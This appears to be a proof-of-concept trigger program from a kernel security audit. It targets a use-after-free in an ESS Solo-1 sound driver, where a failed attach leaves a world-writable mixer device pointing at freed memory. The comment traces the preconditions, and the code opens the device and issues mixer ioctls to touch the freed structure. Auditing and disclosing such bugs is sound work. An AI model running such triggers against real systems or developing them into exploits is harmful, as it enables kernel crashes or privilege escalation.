DF-4468 / trigger.c
/* * DF-4468 - snd_solo (ESS Solo-1) attach-failure dangling /dev/mixerN trigger. * 8th instance of the DF-4156/4193/4299/4334/4344/4421/4457 family. * * Preconditions (all must hold on the target machine): * P1. An ESS Solo-1 (ES1938/ES1946, PCI 125d:1969) card is present and * snd_solo attaches far enough that mixer_init() succeeds: * sys/dev/sound/pci/solo.c:1045 mixer_init(dev, &solomixer_class, sc) * At that point /dev/mixerN has been published world-writable: * sys/dev/sound/pcm/mixer.c:730-733 make_dev(&mixer_ops, ..., 0666, "mixer%d") * with pdev->si_drv1 = m and m->devinfo = sc. * P2. A subsequent attach step fails, i.e. pcm_register() returns nonzero: * sys/dev/sound/pci/solo.c:1052 if (pcm_register(dev, sc, 1, 1)) goto no; * Reachable failures (sound.c:1016-1033): pcm_veto_load set (a previous * feeder subsystem init error) or device unit > PCMMAXUNIT. * P3. ess_attach unwinds: solo.c:1060-1062 `no:` -> ess_release_resources() * -> kfree(sc) (solo.c:878) WITHOUT mixer_uninit() (only ever called from * pcm_unregister(), which newbus never invokes for a failed attach). * * Result: /dev/mixerN stays registered, its kobj devinfo points at freed sc. * This program then performs the UAF: * open("/dev/mixerN") -> mixer_open(): m->busy++ on freed-adjacent m * ioctl(SOUND_MIXER_READ_VOLUME) -> mixer_ioctl -> MIXER_SET/GET -> * essmix_set() (solo.c:667) -> mix_getdevinfo(m) == freed sc -> * ess_setmixer(sc, ...) (solo.c:241) reads sc->sb from freed memory and * does port I/O through rman_get_bustag(sc->sb) -> use-after-free. * * On this audit guest: QEMU does not emulate ES1938/1946 (only es1370), so the * driver never attaches and the run reports the precondition absence. * See VERDICT.md for the full code-level proof. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/soundcard.h> int main(int argc, char **argv) { const char *dev = (argc > 1) ? argv[1] : "/dev/mixer0"; int i, v; for (i = 0; i < 3; i++) { /* re-open: fresh UAF each time */ int fd = open(dev, O_RDWR); if (fd < 0) { perror(dev); return 2; } v = 0x5a5a; if (ioctl(fd, SOUND_MIXER_READ_VOLUME, &v) < 0) perror("READ_VOLUME"); else printf("iter %d: READ_VOLUME -> 0x%04x\n", i, v); /* write path: essmix_set -> ess_setmixer(sc,...) through freed sc */ v = 0x3c3c; if (ioctl(fd, SOUND_MIXER_WRITE_VOLUME, &v) < 0) perror("WRITE_VOLUME"); close(fd); } printf("if preconditions P1-P3 held, the two ioctls above touched the " "freed ess_info softc\n"); return 0; } |